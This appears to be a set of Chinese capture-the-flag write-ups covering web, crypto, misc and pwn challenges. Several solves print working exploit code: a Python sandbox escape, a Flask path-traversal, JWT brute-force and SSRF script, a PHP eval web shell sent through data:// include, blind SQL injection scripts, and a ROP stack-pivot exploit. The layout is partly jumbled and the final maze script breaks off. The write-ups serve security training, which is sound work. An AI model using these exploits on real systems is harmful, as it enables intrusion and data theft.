else:f.__globals__['__builtins__'].eval = evaltry:print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
except Exception as e:print(f"Error: {e}")
再此之前,我们来学习一下参考文档中的内建函数 __builtins__
,还有 globals
到底是什么,再了解的 eval()
的原理,逃离这个上下文。
注意
下面的代码块中,除特别说明外,若代码块中存在 >>>
开头,则表示该代码块是在自己的 Python 环境中作为测试执行的(直接命令行运行 python
),否则,则是 nc 后发送给题目的内容。
globals 和 builtins
globals
是我们当前的全局空间,如果你声明一个全局变量,它将会存在于当前的 globals
中,我们可以看一下 globals
中到底有哪些内容,直接新建一个 Python 会话:
python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
>>> x=1
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'x': 1}
但是为什么我们能够直接调用 open()
函数呢?因为 。但是如果访问了 open
函数,如果 globals
中有,那就执行 globals
中的(可能是你自己定义的,因此存在于 globals
空间中),否则,执行 builtins
中的(类似 open
eval
__import__
之类的函数都是在 builtins
中的)。
我们来查看一下 builtins
中到底有哪些内容:
python
>>> globals()['__builtins__'].__dict__.keys()
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'KeyboardInterrupt', 'ImportError', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'WindowsError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'NameError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'EncodingWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help', '_'])
可以看到 open
eval
__import__
等函数都在 builtins
中。
eval
eval
函数的第一个参数就是一个字符串,即你要执行的 Python 代码,第二个参数就是一个字典,指定在接下来要执行的代码的上下文中,globals
是怎样的。
题目中,eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l})
这段代码,__builtins__
被设置为 None
,而我们输入的代码就是在这个 builtins
为 None
的上下文中执行的,我们从而失去了直接使用 builtins
中的函数的能力,像下面的代码就会报错(题目中直接输入 print(1)
):
python
>>> eval('print(1)', {"__builtins__": None})
Traceback (most recent call last):File "<stdin>", line 1, in <module>File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
由于全局 global
中没有 print
,从而从 builtins
中寻找,而 builtins
为 None
,触发错误。
但注意看,题目刚好给了一个匿名函数 f
,看似无用,实际上参考文档已经给出提示——Python 中「一切皆对象」。故可以利用函数对象的 __globals__
属性来逃逸。我们可以在 Python 终端测试一下:
python
>>> f = lambda: None
>>> f.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'f': <function <lambda> at 0x0000026073850700>}
函数的 __globals__
记录的是这个函数所在的 globals
空间,而这个 f
函数是在题目源码的环境中(而不是题目的 eval 的沙箱中),我们从而获取到了原始的 globals
环境,然后我们便可以从这个原始 globals
中获取到原始 builtins
:
python
f.__globals__['__builtins__']
深入探究 eval 的 builtin 逻辑
但这里还有一个问题,如果我们直接调用 f.__globals__['__builtins__'].eval
,先不说题目会替换掉 eval
函数(实际上在点号前随便几个空格或者字符串拼接就能绕过,下不赘述),即使我们能够调用,也会报错:
python
>>> f = lambda: None
>>> inp='''f.__globals__['__builtins__'].eval('print(1)')'''
>>> eval(inp, {"__builtins__": None, 'f': f})
Traceback (most recent call last):File "<stdin>", line 1, in <module>File "<string>", line 1, in <module>File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable
为什么呢?可以看 Python 解释器的 builtins
相关的代码: bltinmodule.c.
可见,会检查 globals
中是否已经包含了 builtins
,如果没有,则会通过 PyEval_GetBuiltins()
获取默认的内置函数,并将其添加到 globals
中。
又因为官方文档中对 eval
函数的描述:
因此,报错的原因便是,我们在 inp
中的 eval
并没有指定 globals
,因此 Python 会将当前调用处的上下文的 globals
作为第二个参数,即使设定了第二个参数但没有指定 __builtins__
,Python 也会自动注入当前上下文中的 builtins
(也就是未指定则继承)。但当前上下文中的 builtins
是 None
,因此会报错。
绕过也很简单,显式指定即可:
python
>>> inp='''f.__globals__['__builtins__'].eval('print(1)', { "__builtins__": f.__globals__['__builtins__'] })'''
>>> eval(inp, {"__builtins__": None, 'f': f})
可以看下面的结构树:
python
# In source code
globals() <- f.__globals__├─ __builtins__ <- f.__globals__['__builtins__']│ ├─ open <- f.__globals__['__builtins__'].open│ ├─ eval <- f.__globals__['__builtins__'].eval│ └─ ...├─ f <- f.__globals__['f']└─ ...# In `eval(inp, {"__builtins__": None, "f": f})`globals()├─ __builtins__ <- None├─ f└─ ...# Though `f` was from top globals, and you can reach top builtins by `f.__globals__['__builtins__']`# the context is still at this level when you run `eval()` AKA `f.__globals__['__builtins__'].eval()`# so Python will inject the current builtins, which is `None`, into the `eval` context
Payload
综上,Payload 其实有很多种,这里列举一些:
读文件代码执行命令执行
python
这照片是你吗
查看网页源码:html
<!-- 图标能够正常显示耶! -->
<!-- 但是我好像没有看到 Niginx 或者 Apache 之类的东西 -->
<!-- 说明服务器脚本能够处理静态文件捏 -->
<!-- 那源码是不是可以用某些办法拿到呢! -->
很明显的提示,能够获得静态文件,但是没有用常见的反代服务来区别静态文件和服务型路由。服务端处理文件和路由的逻辑很有可能会有漏洞。简单的测试就能知道是路径穿越 + 任意文件读。查看 Response Header,能够认出来是 Flask app,常用的 Flask 主程序名为为 app.py.路径穿越常用 ../,意为当前文件夹的上一层。本题将静态文件存储在了 ./static 中,主程序在 static 外,那么使用 GET /../app.py 就可以拿到源码了。TIP若直接在浏览器中访问带 ../ 的路径,会先被浏览器按照网址路径规则解析一遍 ../,最终发出的并不是含这个字符串的路径,因此需要用发包软件发送过去。发包获取源代码本题的漏洞代码是 send_file("./static/" + file).与 SQL 注入一样,直接拼接用户可控制输入的字符串是大忌!很轻松的,我们获得了主程序的源代码。审计源码,可以知道我们要用 admin 用户登录来进入面板。两种方法:获取密码或者伪造 token.首先来看密码的长度:python
base_key = str(uuid.uuid4()).split("-")
admin_pass = "".join([ _ for _ in base_key])
admin 的密码长度是 32 个字符,而整个程序有登录次数限制,因此无法爆破密码来登录。而伪造 token 则需要 secret_key,查看生成逻辑:python
secret_key = get_random_number_string(6)
6 位数字字符串,可以在数秒内完成爆破。python
users = {'admin': admin_pass,'amiya': "114514"
}
通过本段代码我们可以知道一个有效账户 amiya,密码 114514,通过发包登录,我们可以获得一个有效的 token,据此能在本地认证签名 secret_key 的有效性(因为目标主机有认证次数限制)。用明文存密码也是大忌!安全的做法是存储哈希值,并且加入一定的盐值(Salt)。爆破出 secret_key,然后查看登录后的逻辑:前端请求 /execute 指定 api_address,而 api_address 可控且没有校验,存在 SSRF 漏洞。定位到源代码开头:python
from flag import get_random_number_string
这是出题人故意漏的信息,将函数写在了 flag 模块并 import,提示查看 flag.pypython
@get_flag.route("/fl4g")
# 如何触发它呢?
def flag():return FLAG
TIPPython 程序可以 import 同一目录下的 .py 文件而不必创建 __init__.py 等标记模块的文件。因此这里同级目录下有文件名为 flag.py 的程序,模块名为 flag.我们的操作很明确了:利用 /execute 路由的 SSRF 漏洞让服务器自己访问 http://localhost:5001/fl4g,即访问 /execute?api_address=http://localhost:5001/fl4g.EXP 如下:python
import time
import requests
import jwt
import sysif len(sys.argv) < 2:print(f"Usage: python {sys.argv[0]} <url>")sys.exit(1)url = sys.argv[-1]def get_number_string(number,length):return str(number).zfill(length)print("[+] Exploit for newstar-zhezhaopianshinima")
print("[+] Getting a valid token from the server")LENGTH = 6
req = requests.post(url+"/login", data={"username":"amiya","password":"114514"})
token = req.cookies.get("token")print(f"[+] Got token: {token}")
print("[+] Brute forcing the secret key")
for i in range(1000000):secret_key = get_number_string(i,LENGTH)try:decoded = jwt.decode(token, secret_key, algorithms=["HS256"])breakexcept jwt.exceptions.InvalidSignatureError:continueprint(f"[+] Found secret key: {secret_key}")
fake_token = jwt.encode({'user': 'admin', 'exp': int(time.time()) + 600}, secret_key)print(f"[+] Generated a fake token: {fake_token}")print("[+] Getting the flag")
req = requests.get(url+"/execute?api_address=http://localhost:5001/fl4g", cookies={"token":fake_token})print(f"[+] Flag: {req.text}")f.__globals__['__builtins__'].open('/flag').read()
Include_Me
打开题目 5s 后会自动跳转搜索 PHP 伪协议
要防止跳转,使用 GET 传入 iknow
即可
题目源码如下
php
<?php
highlight_file(__FILE__);
function waf() {if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){die("兄弟你别包");};
}
if (isset($_GET['phpinfo'])) {phpinfo();
}// 兄弟你知道了吗?
if (!isset($_GET['iknow'])) {header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}waf();
include $_GET['me'];
echo "兄弟你好香";
?>
我们使用 GET 传入 phpinfo
后可验证远程文件包含漏洞的必要条件满足
接着就是绕 waf,这里使用的是 data 协议加 base64 加密
http
GET /?iknow=1&me=data:text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzBdKT8+%2B HTTP/1.1
<?php @eval($_POST[0])?>
的 Base64 加密结果为 PD9waHAgQGV2YWwoJF9QT1NUWzBdKT8+
,加号作转义
注意
这里有几点需要注意:
- Base64 加密后的字符串不能带有
=
,因为会被 waf,这时直接删掉结尾等号即可,后者在明文后面多加一些空格以使加密结果不带等号 - 若密文最后是
+
的话,我们在 GET 传参必须将其编码为%2B
,不然+
会被视作空格
blindsql1
能够根据姓名查询成绩
加入单引号时,查询失败,说明存在注入
尝试 Alice' or 1=1#
(注意 #
要 URL 编码成 %23
)时,提示空格被禁用了
多次尝试,会发现 union
=
/
都被禁用了。
union
被禁用,说明此时该使用盲注,我们能够通过插入 and 1
或者 and 0
来控制是否返回数据,由此可以使用布尔盲注
=
的绕过可以使用 like
或者 in
代替
空格和斜杠 /
被禁用,可以使用括号代替
爆破表名
python
import requests,string,timeurl = ''result = ''
for i in range(1,100):print(f'[+] Bruting at {i}')for c in string.ascii_letters + string.digits + '_-{}':time.sleep(0.2) # 限制速率,防止请求过快print('[+] Trying:', c)# 这条语句能查询到当前数据库所有的表名tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'# 获取所有表名的第 i 个字符,并计算 ascii 值char = f'(ord(mid({tables},{i},1)))'# 爆破该 ascii 值b = f'(({char})in({ord(c)}))'# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据p = f'Alice\'and({b})#'res = requests.get(url, params={'student_name': p})if 'Alice' in res.text:print('[*]bingo:',c)result += cprint(result)break
爆破 secrets
表的列名
python
import requests,string,timeurl = ''result = ''
for i in range(1,100):print(f'[+] Bruting at {i}')for c in string.ascii_letters + string.digits + ',_-{}':time.sleep(0.01) # 限制速率,防止请求过快print('[+] Trying:', c)tables = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'char = f'(ord(mid({tables},{i},1)))'# 爆破该 ascii 值b = f'(({char})in({ord(c)}))'# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据p = f'Alice\'and({b})#'res = requests.get(url, params={'student_name': p})if 'Alice' in res.text:print('[*]bingo:',c)result += cprint(result)break
爆破 flag
python
import requests,string,timeurl = ''result = ''
for i in range(1,100):print(f'[+] Bruting at {i}')for c in string.ascii_letters + string.digits + ',_-{}':time.sleep(0.01) # 限制速率,防止请求过快print('[+] Trying:', c)tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'char = f'(ord(mid({tables},{i},1)))'# 爆破该 ascii 值b = f'(({char})in({ord(c)}))'# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据p = f'Alice\'and({b})#'res = requests.get(url, params={'student_name': p})if 'Alice' in res.text:print('[*]bingo:',c)result += cprint(result)break
没 e 这能玩?
先解一个三元一次方程,解出 p,q,r
python
p = 3 * h1 - h2
r = (9 * h1 - h3) // 3
q = h1 - p - r
n = p * q * r
然后解 hint≡a_big_primee(mod2)512 得到 e
python
e = sympy.discrete_log(2**512, hint, a_big_prime)
最后常规 RSA 步骤得到 flag.
python
from Crypto.Util.number import *
import sympy
import gmpy2h1 = 31142735238530997044538008977536563192992446755282526163704097825748037157617958329370018716097695151853567914689441893020256819531959835133410539308633497
h2 = 83244528500940968089139246591338465098116598400576450028712055615289379610182828415628469144649133540240957232351546273836449824638227295064400834828714760
h3 = 248913032538718194100308575844236838621741774207751338576000867909773931464854644505429950530402814602955352740032796855486666128271187734043696395254816172
c = 999238457633695875390868312148578206874085180328729864031502769160746939370358067645058746087858200698064715590068454781908941878234704745231616472500544299489072907525181954130042610756999951629214871917553371147513692253221476798612645630242018686268404850587754814930425513225710788525640827779311258012457828152843350882248473911459816471101547263923065978812349463656784597759143314955463199850172786928389414560476327593199154879575312027425152329247656310
a_big_prime = 10340528340717085562564282159472606844701680435801531596688324657589080212070472855731542530063656135954245247693866580524183340161718349111409099098622379
hint = 1117823254118009923270987314972815939020676918543320218102525712576467969401820234222225849595448982263008967497960941694470967789623418862506421153355571p = 3 * h1 - h2
r = (9 * h1 - h3) // 3
q = h1 - p - r
n = p * q * re = sympy.discrete_log(2**512, hint, a_big_prime)d = gmpy2.invert(e, (p-1)*(q-1)*(r-1))
m = pow(c , d , n)
print(long_to_bytes(m))# flag{th1s_2s_A_rea119_f34ggg}
故事新编
故事新编 1
维吉尼亚密码的加密算法,只要认出来就可以秒。如果你有认真了解过维吉尼亚的加密算法,那么你应该会觉得这段加密非常眼熟;如果你熟练掌握了 AI 的使用,你也可以直接问 AI 这段加密算法像什么。
对于维吉尼亚密码的解密,这里方法并不单一,仅给出一个可用网址,用于爆破维吉尼亚密码。
故事新编 2
自动密钥密码,与故事新编 1 相类似。在阅读代码之后应该会发现这和维吉尼亚密码非常相似,可以去搜索一下维吉尼亚密码的变种;当然你也可以依靠 AI.
对于自动密钥密码的解密,可以依靠上面的网址修改 Cipher Variant 为 autokey,也可以在网络上找到脚本手撕。
参考链接:Cryptanalysis of the Autokey Cipher
不用谢喵
可以看之前 Week 3 参考文档 所提供的链接的第一张图。
plaintextkeyblock cipherIVciphertextPropagating cipher block chaining (PCBC)keyblock cipherciphertextplaintextkeyblock cipherciphertextplaintextplaintextkeyblock cipherIVkeyblock cipherplaintextkeyblock cipherplaintextciphertextciphertextciphertextCipher feedback (CFB)Electronic codebook (ECB)plaintextblock cipherciphertextkeyplaintextblock cipherciphertextkeyplaintextblock cipherciphertextkeyplaintextkeyblock cipherIVciphertextCipher block chaining (CBC)keyblock cipherciphertextplaintextkeyblock cipherciphertextplaintextkeyblock cipherIVkeyblock cipherkeyblock cipherplaintextciphertextplaintextciphertextplaintextciphertextOutput feedback (OFB)plaintextkeyblock cipherkeyblock cipherplaintextkeyblock cipherplaintextciphertextciphertextciphertextCounter (CTR)<Nonce, Counter><Nonce, Counter+1><Nonce, Counter+2>
总体流程即 AES CBC 加密,AES ECB 解密。
ECB 是最简单的块密码加密模式,加密前根据加密块大小(如 AES 为 128 位)分成若干块,之后将每块使用相同的密钥单独加密,解密同理。
CBC 模式对于每个待加密的密码块在加密前会先与前一个密码块的密文异或然后再用加密器加密。第一个明文块与一个叫初始化向量(IV)的数据块异或。
所以这题所用方式解完密之后的信息,和明文的唯一区别就在于:有没有和前一个密码块的密文异或,这里密文都给了,IV 也给了,异或一下即可。
part1=D(c0)⊕IV
part2=D(c1)⊕c0
python
from Crypto.Util.number import long_to_bytes as l2b , bytes_to_long as b2lc = 0xf2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138
d = 0xf9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23bpart1=l2b( b2l(l2b(c)[0:16]) ^ b2l(l2b(d)[16:32]))
part2=l2b( b2l(l2b(c)[16:32]) ^ b2l(l2b(d)[32:48]))print(part1+part2)
出题人的初衷的是让大家不用 key
解,因为需要用到 key
的部分都帮大家用好了,所以不用谢。
结果居然被新生非预期了,我自己都忘记我设置的 key
是啥了,TA 居然能猜出来😅,下次一定要随机生成 key
!
两个黄鹂鸣翠柳
整体就是一个稍加变形的关联信息攻击,只是一般的关联信息攻击给出的两个方程式信息比较明确,而在本题中各掺了一点点随机性的干扰小量。
所以其实在思路上只需要依整体代换思想把它改为一般的关联信息攻击,再对被代换的「整体」进行爆破求解即可。
此外由于本题对于较大的数据求最大公因子的需求,一般的 GCD 算法难以胜任,所以需要使用 Half-GCD 算法。关于这个算法的原理可以参考下面这篇文章:
- 多项式 gcd 的正确姿势:Half-GCD 算法
解题脚本如下:
python
from Crypto.Util.number import *def HGCD(a, b):if 2 * b.degree() <= a.degree() or a.degree() == 1:return 1, 0, 0, 1m = a.degree() // 2a_top, a_bot = a.quo_rem(x ^ m)b_top, b_bot = b.quo_rem(x ^ m)R00, R01, R10, R11 = HGCD(a_top, b_top)c = R00 * a + R01 * bd = R10 * a + R11 * bq, e = c.quo_rem(d)d_top, d_bot = d.quo_rem(x ^ (m // 2))e_top, e_bot = e.quo_rem(x ^ (m // 2))S00, S01, S10, S11 = HGCD(d_top, e_top)RET00 = S01 * R00 + (S00 - q * S01) * R10RET01 = S01 * R01 + (S00 - q * S01) * R11RET10 = S11 * R00 + (S10 - q * S11) * R10RET11 = S11 * R01 + (S10 - q * S11) * R11return RET00, RET01, RET10, RET11def related_message_attack(a, b):q, r = a.quo_rem(b)if r == 0:return bR00, R01, R10, R11 = HGCD(a, b)c = R00 * a + R01 * bd = R10 * a + R11 * bif d == 0:return c.monic()q, r = c.quo_rem(d)if r == 0:return dreturn related_message_attack(d, r)e = 683
c1 = 56853945083742777151835031127085909289912817644412648006229138906930565421892378967519263900695394136817683446007470305162870097813202468748688129362479266925957012681301414819970269973650684451738803658589294058625694805490606063729675884839653992735321514315629212636876171499519363523608999887425726764249
c2 = 89525609620932397106566856236086132400485172135214174799072934348236088959961943962724231813882442035846313820099772671290019212756417758068415966039157070499263567121772463544541730483766001321510822285099385342314147217002453558227066228845624286511538065701168003387942898754314450759220468473833228762416
N = 147146340154745985154200417058618375509429599847435251644724920667387711123859666574574555771448231548273485628643446732044692508506300681049465249342648733075298434604272203349484744618070620447136333438842371753842299030085718481197229655334445095544366125552367692411589662686093931538970765914004878579967
delta = 93400488537789082145777768934799642730988732687780405889371778084733689728835104694467426911976028935748405411688535952655119354582508139665395171450775071909328192306339433470956958987928467659858731316115874663323404280639312245482055741486933758398266423824044429533774224701791874211606968507262504865993is_flag = Falsefor delt in range(-255, 255, 8):PR.<x> = PolynomialRing(Zmod(N))f = x ^ e - c1g1 = ((x + (delt + 0) * delta) ^ e - c2) * ((x + (delt + 1) * delta) ^ e - c2)g2 = ((x + (delt + 2) * delta) ^ e - c2) * ((x + (delt + 3) * delta) ^ e - c2)g3 = ((x + (delt + 4) * delta) ^ e - c2) * ((x + (delt + 5) * delta) ^ e - c2)g4 = ((x + (delt + 6) * delta) ^ e - c2) * ((x + (delt + 7) * delta) ^ e - c2)if delt == -7:g4 = ((x + (delt + 6) * delta) ^ e - c2)g = g1 * g2 * g3 * g4res = related_message_attack(f, g)m1 = int(-res.monic().coefficients()[0])for t1 in range(256):m = (m1 % N - t1 * delta) % Nif m > 0:flag = long_to_bytes(m)if flag[:4] ==b'flag':print(flag)is_flag = Truebreakif is_flag:break
OSINT-MASTER
给了图片,先看图片的 EXIF 信息,拍摄时间是 2024-8-18 14:30,照片中可以在机翼上看到一个标号 B-2419
直接在 flightaware 中搜索这个标号,应该是飞机的注册号
可以搜到这是一架东航的飞机
在下面可以找到历史航班
可以看到,在 2024 年 8 月 18 日这四架航班中,只有红框中这架符合 14:30 在飞行中,点进去看一下详细信息
找到航班号 MU5156
下面根据照片拍摄时间和航行轨迹来找照片拍摄时飞机经过的地级市,我这里使用航班管家,有了航班号直接搜
14:30 在 14:13 和 14:51 中间偏左的位置
放大来看,此时飞机大致经过邹城市
经过搜索,邹城市属于济宁市,济宁市是地级市
所以答案是 flag{MU5156_济宁市}
BGM 坏了吗?
用 Audacity 打开音频很容易发现结尾处右声道有信息,而左声道是噪音
根据题目描述是拨号音,但是直接放解不出来,需要删掉噪音
选择 分离立体音到单声道 » 关闭左声道 » 导出
按键音(即DTMF)解密网站:DTMF Decoder
包上 flag{}
即可
AmazingGame
安卓私有目录位于 /data/user/0/<包名>
下
安卓的 shared_prefs
一般用来存放软件配置数据
修改文件即可更改已通过的关卡数据
通过第一关后,关掉游戏(这点很重要)
ADB 链接手机执行
shell
adb shell
run-as com.pangbai.projectm
cd shared_prefs
cat net.osaris.turbofly.JumpyBall.xml
xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map><boolean name="cockpitView" value="true" /><int name="unlockedsolotracks" value="2" /><int name="unlockedtracks" value="2" /><int name="best0m0" value="130" /><int name="unlockedships" value="1" /><int name="userid" value="9705893" />
</map>
软件有 23 个关卡,我们把关卡解锁数改为 23
正常来说应该用 adb push
来修改文件,这里我们为了方便直接把 2 替换成 23
shell
sed -i 's/2/23/g' net.osaris.turbofly.JumpyBall.xml
打开游戏发现关卡全部解锁,随便游玩 23 关,等游戏结束即可获得 flag
ez_jail
本题的原意是只考查 {}
在 C++ 里的(宏)替代运算符这个知识
只要关键词用得对,网上一搜就能搜到,但是被出题人执行坏了,测题时出现了一堆非预期。考虑了一下各个知识点的难度,感觉非预期的难度和预期解相差不大,就索性变成了一道半开放性的题目
我们观察代码的 check
函数
python
def cpp_code_checker(code):if "#include" in code:return False, "Code is not allowed to include libraries"if "#define" in code:return False, "Code is not allowed to use macros"if "{" in code or "}" in code:return (False,"Code is not allowed to use `{` or `}`,but it needs to be a single function",)if len(code) > 100:return False, "Code is too long"return True, "Code is valid"
这段代码看似过滤了 #include
#define
等,但不知道同学们有没有意识到 #
后加空格就能绕过这里,也就是说可以通过宏定义来做到编译前预处理
所以 Payload 可以是这样(感谢 yuro 师傅提供解法)
cpp
# define user_code() write(STDOUT_FILENO, "Hello, World!", 13);
预期解是找到 C++ 的替代运算符的相关资料,然后使用 <% %>
替换{}
,Payload 如下
cpp
void user_code()<%write(1, "Hello, World!\n", 14);%>
除此之外,还可以使用指针,把 user_code()
变成一个空函数。输出的话可以通过定义一个全局变量接收输出函数的返回值来实现,其 payload 如下(感谢 c_lby 师傅提供解法)
cpp
int a=puts("Hello, World!");
int (*user_code)()=rand;
或者可以这样(感谢 KAMIYA 选手提供解法)
cpp
int x = (printf("Hello, World!\n"), 0);
using user_code = void(*)();
Reread
先查看沙箱
可以看到除了只允许 open、read、write、dup2 四个系统调用外,还增添了一个额外条件,那就是执行 read
系统调用时,第一个参数必须是 0
查看主要函数 vuln
,直接一个栈溢出贴脸,但是溢出的长度很短,算上 rbp
的话其实只能覆盖范围地址这一个地方
c
int vuln()
{char buf[64]; // [rsp+0h] [rbp-40h] BYREFputs("[+] Ok let's try your best!!馃構");read(0, buf, 0x50uLL);return puts("done!");
}
那该怎么办呢
我们来仔细看一下汇编,通过 gdb 动态调试可以知道,其实是 lea rsi,[rbp]
然在前面的栈溢出中我们可以控制 rbp,如果把返回地址覆盖成 4013AC
,那我们就可以向任意地址写入 0x50
字节
同时第二次读入的时候,rbp
又是可控的,程序也会执行 leave ret
,如此,便构成了一次巧妙的栈迁移
asm
.text:00000000004013AC lea rax, [rbp+buf]
.text:00000000004013B0 mov edx, 50h ; 'P' ; nbytes
.text:00000000004013B5 mov rsi, rax ; buf
.text:00000000004013B8 mov edi, 0 ; fd
.text:00000000004013BD call _read
.text:00000000004013C2 lea rdi, aDone ; "done!"
.text:00000000004013C9 call _puts
.text:00000000004013CE nop
.text:00000000004013CF leave
.text:00000000004013D0 retn
至于上文 sandbox
中设置的 syscall_read
的一参必须为 0
的问题,可以使用 dup2 系统调用
具体用法为 dup2(fd,new_fd)
,可以看作 new_fd
是 fd
的一个拷贝,同时会 close(fd)
所以,EXP 如下
python
from pwn import *
import sys
from ctypes import *
context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux','splitw','-h']libc = ELF('./libc.so.6')
elf = ELF('./pwn')
flag = 1
if flag:p = remote('0.0.0.0', 9999)
else:p = process("./pwn")sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))reread = 0x4013ac
pop_rdi = 0x0000000000401473
lea_ret = 0x00000000004012ecpayload = b'a'*0x40 + p64(elf.bss(0x800)) + p64(reread)
# gdb.attach(p)
sd(payload)payload = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x401394) + b'./flag\x00\x00'
payload = payload.ljust(0x40,b'\x00')
payload += p64(elf.bss(0x7b8)) + p64(lea_ret)
sd(payload)
libc.address = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
leak("libc", libc.address)pop_rsi = 0x000000000002601f + libc.address
pop_rdx_r12 = 0x0000000000119431 + libc.address
pop_rax = 0x0000000000036174 + libc.address
syscall = 0x00000000000630a9 + libc.addresspayload = b'a'*0x40 + p64(elf.bss(0xa00)) + p64(reread)
sd(payload)payload = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(elf.bss(0x9f8)) + p64(pop_rdx_r12) + p64(0x200)*2 + p64(elf.plt['read'])
payload += p64(elf.bss(0x9b8)) + p64(lea_ret)
sd(payload)orw = flat([pop_rdi,elf.bss(0x9f8),pop_rsi,0,pop_rdx_r12,0,0,pop_rax,2,syscall,pop_rdi,3,pop_rsi,0,pop_rax,33,syscall,pop_rdi,0,pop_rsi,elf.bss(0x100),pop_rdx_r12,0x40,0x40,pop_rax,0,syscall,pop_rdi,1,pop_rax,1,syscall,
])
sd(b'./flag\x00\x00' + orw.ljust(0x1f8,b'\x00'))
p.interactive()
Maze_Rust
IDA 逆向看不懂,先当黑盒打(
解法一
进入程序,发现这是个简单的迷宫
于是可以搓脚本,读取迷宫用算法解迷宫了
成功解出迷宫后,会让我们输入
随便试试可以发现,这是一个 system()
,可以执行我们输入的东西
贴一个 GPT 生成的迷宫脚本
python
#!/usr/bin/env python3
from pwn import *context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)p = process('./Maze_Rust')
elf = ELF('./Maze_Rust')sla(b'3: Handle The Maze', b'3')
p.recvline()maze = []
while True:line = p.recvline().decode().strip()if "quit" in line:breakmaze.append(line)DIRECTIONS = [(-1, 0, 'W'), (1, 0, 'S'), (0, -1, 'A'), (0, 1, 'D')]def find_positions(maze):start = end = Nonefor i, row in enumerate(maze):if 'P' in row:start = (i, row.index('P'))if 'G' in row:end = (i, row.index('G'))return start, enddef can_move(maze, x, y):return 0 <= x < len(maze) and 0 <= y < len(maze[0]) and maze[x][y] in ' PG'def dfs(maze, x, y, end, path, visited, direction_path):if (x, y) == end:return Truevisited.add((x, y))for dx, dy, direction in DIRECTIONS:nx, ny = x + dx, y + dyif can_move(maze, nx, ny) and (nx, ny) not in visited:path.append((nx, ny))direction_path.append(direction)if dfs(maze, nx, ny, end, path, visited, direction_path):return Truepath.pop()direction_path.pop()return Falsedef solve_maze(maze):start, end = find_positions(maze)path = 